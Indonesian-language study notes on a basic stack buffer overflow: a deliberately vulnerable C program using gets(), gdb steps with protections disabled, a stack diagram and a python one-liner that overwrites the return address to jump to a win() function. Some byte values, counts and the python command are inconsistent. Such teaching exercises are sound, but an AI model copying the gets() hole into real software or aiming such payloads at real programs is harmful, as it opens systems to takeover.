Binary-Expxloitation

(!) MASIH BELUM JELAS PENJELASANNYA

Contoh buffer sederhana, untuk return address

ide : mengisi buffer untuk mengganti suatu nilai variabel / return addr

perisapan tools : gdb, text-editor

source code :

#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
      
void win(){  
    printf("masuk ke fungsi win\n");  
}  
void salahSambung(){  
    printf("bukan fungsi yg ini\n");  
}  
void vuln(){  
    int a = 100;  
    char b = 'A';  
    char c[4] = {'Z','Y','X','W'};  
    char buff[32];  
    printf("%d\n", a);  
    printf("%c\n", b);  
    printf("%c %c %c %c\n", c[0], c[1], c[2], c[3]);  
    printf("masuk ke fungsi vuln : ");  
    gets(&buff);  
    printf("buff : %s\n", buff);  
    printf("a : %d\n", a);  
    printf("b : %c\n", b);  
    printf("array : %c %c %c %c\n", c[0], c[1], c[2], c[3]);  
}  
int main()  
{  
    vuln();  
    return 0;  
}

ketika dirun dalam gdb, didapat lokasi memory fungsi-fungsi :

0x0000555555555189    win  
0x00005555555551a0    salah_sambung  
0x00005555555551b7    vuln<

misal gets diisi dengan 'a' sebanyak 38,
maka tinggal dipenuhi hingga 56 kali + lokasi return
misal dengan script python :

python -c "'a'*56 + '\x89\x51'" | ./buffer64

penjelasan

// batas char sampai 38  
//      |---|---|---|---|---|---|---|---|  
//fdd20 |97 |97 |97 |97 |97 |97 |97 |97 | RSP  
//      |---|---|---|---|---|---|---|---|  
//fdd28 |97 |97 |97 |97 |97 |97 |97 |97 |  
//      |---|---|---|---|---|---|---|---|  
//fdd30 |97 |97 |97 |97 |97 |97 |97 |97 |  
//      |---|---|---|---|---|---|---|---|  
//fdd38 |97 |97 |97 |97 |97 |97 |97 |97 |  
//      |---|---|---|---|---|---|---|---|  
//fdd40 |00 |   |   |   |   |   |   |5a |  // akan ditimpa dengan 'a'(97)
//      |---|---|---|---|---|---|---|---|           var c : chr(0x5a595857) = 'Z','Y','X','W'
//fdd48 |59 |58 |57 |41 |64 |00 |00 |00 |           var a : 0x64 = 100
//      |---|---|---|---|---|---|---|---|           var b : 0x41 = chr(0x41) = 'A'
//fdd50 |   |   |   |   |   |   |   |   |  RBP  // akan ditimpa dengan 'a'(97)
//      |---|---|---|---|---|---|---|---|  
//fdd58 |   |   |   |   |   |   |   |   |  return  // akan ditimpa dengan '\x86\x51'
//      |---|---|---|---|---|---|---|---|  return address ke alamat win</code></pre>

misal nama file buffer64.c

jalannya program adalah

fungsi main -> fungsi vuln -> return ke fungsi main

dan menginginkan return ke fungsi win, memanfaatkan buffer(kerentanan)

fungsi main -> fungsi vuln -> return ke fungsi win

jalankan script :

gcc -fno-pie -fno-pic -fno-stack-protector -fno-builtin buffer64.c -o buffer64
gdb ./buffer64
pdisas main 

hasil pdisas main memberikan bentuk assembly fungsi main pada sourcode
langsung di break :

break *main+13
si
n

terus di next hingga masuk fungsi gets

dalam code, sebelum ke fungsi <gets@plt> disiapkan [rbp-0x30], artinya 48 desimal untuk jumlah maksimal karakter inputan.

(!) fungsi gets terdapat vulnerable, dapat dimasuki lebih dari 48 karakter, namun variabel lain(int a, char b, char c[]) akan "terganggu"

inti :

  • Melihat letak buffer
  • Mencari memory yang dituju
  • Melihat ruang antara BP/EBP/RBP <--> SP/ESP/RSP pada fungsi yang terdapat buffer
  • mengisi buffer hingga return address